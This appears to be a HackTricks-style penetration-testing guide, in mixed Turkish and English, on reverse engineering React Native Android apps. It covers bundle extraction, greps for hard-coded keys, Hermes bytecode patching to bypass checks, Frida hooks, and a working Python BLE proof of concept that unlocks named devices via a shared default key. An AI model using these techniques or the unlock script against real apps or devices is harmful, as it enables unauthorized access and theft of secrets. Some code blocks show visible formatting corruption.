React Native Uygulama Analizi

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Uygulamanın React Native framework ile oluşturulup oluşturulmadığını doğrulamak için şu adımları izleyin:

  1. APK dosyasının uzantısını .zip olarak değiştirin ve şu komutları kullanarak yeni bir klasöre çıkarın: cp com.example.apk example-apk.zip ve unzip -qq example-apk.zip -d ReactNative.

  2. Yeni oluşturulan ReactNative klasörüne gidin ve assets klasörünü bulun. Bu klasörün içinde minified formatta React JavaScript içeren index.android.bundle dosyasını bulmalısınız.

  3. JavaScript dosyasını aramak için find . -print | grep -i ".bundle$" komutunu kullanın.

Not: Eğer size APK yerine Android App Bundle (.aab) verildiyse, önce universal APK oluşturun ve sonra bundle’ı çıkarın:

# Get bundletool.jar and generate a universal APK set
java -jar bundletool.jar build-apks \
--bundle=app-release.aab \
--output=app.apks \
--mode=universal \
--overwrite

# Extract the APK and then unzip it to find assets/index.android.bundle
unzip -p app.apks universal.apk > universal.apk
unzip -qq universal.apk -d ReactNative
ls ReactNative/assets/

Javascript Kodu

If checking the contents of the index.android.bundle you find the JavaScript code of the application (even if minified), you can analyze it to find sensitive information and vulnerabilities.

As the bundle contains actually all the JS code of the application it’s possible to divide it in different files (potentially making easier its reverse engineering) using the araç react-native-decompiler.

Webpack

JavaScript kodunu daha fazla analiz etmek için dosyayı https://spaceraccoon.github.io/webpack-exploder/ adresine yükleyebilir veya aşağıdaki adımları izleyebilirsiniz:

  1. Aynı dizinde index.html adında bir dosya oluşturun ve aşağıdaki kodu ekleyin:
<script src="./index.android.bundle"></script>
  1. index.html dosyasını Google Chrome’da açın.

  2. Command+Option+J for OS X veya Control+Shift+J for Windows tuşlarına basarak Developer Toolbar’ı açın.

  3. Developer Toolbar’da “Sources” a tıklayın. Ana bundle’ı oluşturan klasörler ve dosyalar halinde bölünmüş bir JavaScript dosyası görmelisiniz.

Eğer index.android.bundle.map adlı bir dosya bulursanız, kaynak kodunu minify edilmemiş formatta analiz edebilirsiniz. Map dosyaları kaynak haritalama içerir; bu, minified tanımlayıcıları eşleştirmenize olanak tanır.

Hassas kimlik bilgileri ve endpoint’leri aramak için şu adımları izleyin:

  1. JavaScript kodunu analiz etmek için hassas anahtar kelimeleri belirleyin. React Native uygulamaları genellikle Firebase, AWS S3 service endpoint’leri, private key’ler gibi üçüncü taraf servisleri kullanır.

  2. Bu özel durumda uygulamanın Dialogflow servisini kullandığı gözlemlendi. Konfigürasyonuyla ilgili bir paterni arayın.

  3. Recon sürecinde JavaScript kodunda hassas, hard-coded kimlik bilgilerinin bulunması şanslıydı.

Quick secrets/endpoint hunting in bundles

These simple greps often surface interesting indicators even in minified JS:

# Common backends and crash reporters
strings -n 6 index.android.bundle | grep -Ei "(api\.|graphql|/v1/|/v2/|socket|wss://|sentry\.io|bugsnag|appcenter|codepush|firebaseio\.com|amplify|aws)"

# Firebase / Google keys (heuristics)
strings -n 6 index.android.bundle | grep -Ei "(AIza[0-9A-Za-z_-]{35}|AIzaSy[0-9A-Za-z_-]{33})"

# AWS access key id heuristic
strings -n 6 index.android.bundle | grep -E "AKIA[0-9A-Z]{16}"

# Expo/CodePush deployment keys
strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|DeploymentKey)"

# Sentry DSN
strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)"

If you suspect Over-The-Air update frameworks, also hunt for:

  • Microsoft App Center / CodePush deployment keys
  • Expo EAS Updates configuration (expo-updates, expo\.io, signing certs)

JS kodunu değiştirip yeniden derleyin

Bu durumda kodu değiştirmek kolaydır. Uygulamayı .zip uzantısını kullanacak şekilde yeniden adlandırıp açmanız yeterlidir. Ardından bu paketin içindeki JS kodunu değiştirip uygulamayı yeniden derleyebilirsiniz. Bu, test amaçlı olarak uygulamaya kod enjekte etmenize izin verecek kadar yeterli olmalıdır.

Hermes bytecode

Eğer paket Hermes bytecode içeriyorsa, uygulamanın Javascript koduna erişemeyeceksiniz (minified sürüme bile).

Paketin Hermes bytecode içerip içermediğini aşağıdaki komutu çalıştırarak kontrol edebilirsiniz:

file index.android.bundle
index.android.bundle: Hermes JavaScript bytecode, version 96

Ancak, hbctool, daha yeni bytecode sürümlerini destekleyen güncellenmiş hbctool fork’ları, hasmer, hermes_rs (Rust library/APIs) veya hermes-dec araçlarını kullanarak disassemble the bytecode ve ayrıca decompile it to some pseudo JS code yapabilirsiniz. Örneğin:

# Disassemble and re-assemble with hbctool (works only for supported HBC versions)
hbctool disasm ./index.android.bundle ./hasm_out
# ...edit ./hasm_out/**/*.hasm (e.g., change comparisons, constants, feature flags)...
hbctool asm   ./hasm_out ./index.android.bundle

# Using hasmer (focus on disassembly; assembler/decompiler are WIP)
hasmer disasm ./index.android.bundle -o hasm_out

# Using hermes-dec to produce pseudo-JS
hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
hbc-decompiler   ./index.android.bundle /tmp/my_output_file.js

Tip: Açık kaynaklı Hermes projesi, belirli Hermes sürümlerinde hbcdump gibi geliştirici araçları da sağlar. Paketi oluşturmak için kullanılan Hermes sürümünü derlerseniz, hbcdump daha derin analiz için fonksiyonları, dize tablolarını ve bytecode’u dökebilir.

Kodu değiştir ve yeniden derle (Hermes)

İdeal olarak ayrıştırılmış kodu değiştirebilmeli (bir karşılaştırmayı, bir değeri veya değiştirmeniz gereken başka bir şeyi değiştirerek) ve sonra bytecode’u yeniden oluşturup uygulamayı yeniden derleyebilmelisiniz.

  • Orijinal hbctool bundle’ı ayrıştırmayı ve değişikliklerden sonra tekrar oluşturmayı destekler, ancak tarihsel olarak yalnızca daha eski bytecode sürümlerini destekliyordu. Topluluk tarafından bakım yapılan fork’lar daha yeni Hermes sürümlerini (including mid-80s–96) destekleyecek şekilde genişletiyor ve modern RN uygulamalarını yamanmak için sıklıkla en pratik seçenek oluyor.
  • Araç hermes-dec bytecode’u yeniden oluşturmayı desteklemez (decompiler/disassembler only), fakat mantığı izlemek ve dizeleri dökmek için çok faydalıdır.
  • Araç hasmer birden fazla Hermes sürümü için hem disassembly hem de assembly’yi desteklemeyi hedefliyor; assembly hâlâ olgunlaşma aşamasında ancak güncel bytecode’larda denemeye değer.

hbctool-benzeri assembler’larla minimal bir iş akışı:

# 1) Disassemble to HASM directories
hbctool disasm assets/index.android.bundle ./hasm

# 2) Edit a guard or feature flag (example: force boolean true)
#    In the relevant .hasm, replace a LoadConstUInt8 0 with 1
#    or change a conditional jump target to bypass a check.

# 3) Reassemble into a new bundle
hbctool asm ./hasm assets/index.android.bundle

# 4) Repack the APK and resign
zip -r ../patched.apk *
# Align/sign as usual (see Android signing section in HackTricks)

Note that Hermes bytecode format is versioned and the assembler must match the exact on-disk format. If you get format errors, switch to an updated fork/alternative or rebuild the matching Hermes tooling.

Dinamik Analiz

Uygulamayı dinamik olarak analiz etmeye çalışabilirsiniz: React uygulamasının developer modunu etkinleştirmek için Frida’yı kullanıp react-native-debugger ile ona bağlanabilirsiniz. Ancak, görünüşe göre bunun için uygulamanın kaynak koduna ihtiyacınız var. Bununla ilgili daha fazla bilgiyi https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/ adresinde bulabilirsiniz.

Frida ile release’te Dev Support’u etkinleştirme (uyarılar)

Bazı uygulamalar yanlışlıkla Dev Support’un açılıp kapatılmasını sağlayan sınıfları beraber gönderir. Eğer varsa, getUseDeveloperSupport()’ın true döndürmesini zorlayabilirsiniz:

// frida -U -f com.target.app -l enable-dev.js
Java.perform(function(){
try {
var Host = Java.use('com.facebook.react.ReactNativeHost');
Host.getUseDeveloperSupport.implementation = function(){
return true; // force dev support
};
console.log('[+] Patched ReactNativeHost.getUseDeveloperSupport');
} catch (e) {
console.log('[-] Could not patch: ' + e);
}
});

Warning: Doğru şekilde oluşturulmuş release derlemelerinde, DevSupportManagerImpl ve ilgili yalnızca-debug sınıfları kaldırılır ve bu bayrağı değiştirmek uygulamanın çökmesine veya etkisiz olmasına neden olabilir. Bu işe yaradığında, genellikle dev menüsünü açabilir ve debugger/inspector’ları bağlayabilirsiniz.

RN uygulamalarında ağ trafiğini yakalama

React Native Android genellikle arka planda OkHttp’e dayanır (Networking native module aracılığıyla). Dinamik testler sırasında kök erişimi olmayan bir cihazda trafiği yakalamak/izlemek için:

  • Sistem proxy’si kullanın + kullanıcı CA’sına güven verin veya diğer genel Android TLS bypass tekniklerini kullanın.
  • RN-özgü ipucu: uygulama yanlışlıkla release içinde Flipper’ı (debug tooling) paketliyorsa, Flipper Network plugin istekleri/yanıtları ortaya çıkarabilir.

For generic Android interception and pinning bypass techniques refer to:

Make APK Accept CA Certificate

Objection Tutorial

Runtime GATT protocol discovery with Frida (Hermes-friendly)

Hermes bytecode JS’in kolay statik analizini engellediğinde, bunun yerine Android BLE yığınına hook koyun. android.bluetooth.BluetoothGatt ve BluetoothGattCallback uygulamanın gönderdiği/aldığı her şeyi açığa çıkarır, böylece JS kaynağına ihtiyaç duymadan özel challenge-response ve komut frame’lerini tersine çevirebilirsiniz.

Frida GATT kaydedici (UUID + hex/ASCII dökümleri) ```js Java.perform(function () { function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); } function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); } var G = Java.use('android.bluetooth.BluetoothGatt'); var Cb = Java.use('android.bluetooth.BluetoothGattCallback');

G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (c) { console.log(\n>>> WRITE ${c.getUuid()}); console.log(b2h(c.getValue())); console.log(b2a(c.getValue())); return this.writeCharacteristic(c); }; G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’,‘[B’,‘int’).implementation = function (c,v,t) { console.log(\n>>> WRITE ${c.getUuid()} (type ${t})); console.log(b2h(v)); console.log(b2a(v)); return this.writeCharacteristic(c,v,t); }; Cb.onConnectionStateChange.overload(‘android.bluetooth.BluetoothGatt’,‘int’,‘int’).implementation = function (g,s,n) { console.log(*** STATE ${n} (status ${s})); return this.onConnectionStateChange(g,s,n); }; Cb.onCharacteristicRead.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’,‘int’).implementation = function (g,c,s) { var v=c.getValue(); console.log(\n<<< READ ${c.getUuid()} status ${s}); console.log(b2h(v)); console.log(b2a(v)); return this.onCharacteristicRead(g,c,s); }; Cb.onCharacteristicChanged.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (g,c) { var v=c.getValue(); console.log(\n<<< NOTIFY ${c.getUuid()}); console.log(b2h(v)); return this.onCharacteristicChanged(g,c); }; });

</details>

Hook `java.security.MessageDigest` ile hash-based handshakes'ı fingerprint'leyin ve exact input concatenation'ı capture edin:

<details>
<summary>Frida MessageDigest tracer (algorithm, input, output)</summary>
```js
Java.perform(function () {
var MD = Java.use('java.security.MessageDigest');
MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
});

Gerçek dünyadan bu şekilde geri kazanılmış bir BLE akışı:

  • 00002556-1212-efde-1523-785feabcd123’ten challenge oku.
  • response = SHA1(challenge || key) hesapla; burada key tüm cihazlarda 0xFF ile doldurulmuş 20 baytlık varsayılan bir değerdeydi.
  • Response’u 00002557-1212-efde-1523-785feabcd123’e yaz, sonra komutları 0000155f-1212-efde-1523-785feabcd123 üzerinde gönder.

Kimlik doğrulaması yapıldıktan sonra, komutlar ...155f...’e 10 baytlık çerçevelerdi ([0]=0x00, [1]=registry 0xD4, [3]=cmd id, [7]=param). Örnekler: unlock 00 D4 00 01 00 00 00 00 00 00, lock ...02..., eco-mode on ...03...01..., open battery ...04.... Notifications 0000155e-1212-efde-1523-785feabcd123’te (2-byte registry + payload) geliyordu ve registry değerleri 00001564-1212-efde-1523-785feabcd123’e registry ID yazılarak sonra ...155f...’ten okunarak sorgulanabiliyordu.

Paylaşılan/varsayılan bir key ile challenge-response etkisizleşir. Yakındaki herhangi bir saldırgan digest’i hesaplayıp ayrıcalıklı komutlar gönderebilir. Minimal bir bleak PoC:

Python (bleak) BLE auth + unlock via default key ```python import asyncio, hashlib from bleak import BleakClient, BleakScanner CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"

def filt(d,_): return d.name and d.name in [“AIKE”,“AIKE_T”,“AIKE_11”] async def main(): dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0) if not dev: return async with BleakClient(dev.address) as c: chal = await c.read_gatt_char(CHAL) resp = hashlib.sha1(chal + b’\xff’*20).digest() await c.write_gatt_char(RESP, resp, response=False) await c.write_gatt_char(CMD, bytes.fromhex(‘00 d4 00 01 00 00 00 00 00 00’), response=False) await asyncio.sleep(0.5) asyncio.run(main())

</details>

## Popüler RN kütüphanelerindeki son sorunlar (neye dikkat edilmeli)

JS bundle veya native libs içinde görünen üçüncü taraf modülleri incelerken, bilinen vulns'ları kontrol edin ve `package.json`/`yarn.lock` dosyalarındaki sürümleri doğrulayın.

- react-native-mmkv (Android): versions prior to 2.11.0 logged the optional encryption key to Android logs. If ADB/logcat is available, secrets could be recovered. Ensure >= 2.11.0. Indicators: usage of `react-native-mmkv`, log statements mentioning MMKV init with encryption. CVE-2024-21668.
- react-native-document-picker: versions < 9.1.1 were vulnerable to path traversal on Android (file selection), fixed in 9.1.1. Validate inputs and library version.

Hızlı kontroller:
```bash
grep -R "react-native-mmkv" -n {index.android.bundle,*.map} 2>/dev/null || true
grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/null || true
# If you also have the node_modules (rare on release): grep -R in package.json / yarn.lock

Kaynaklar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin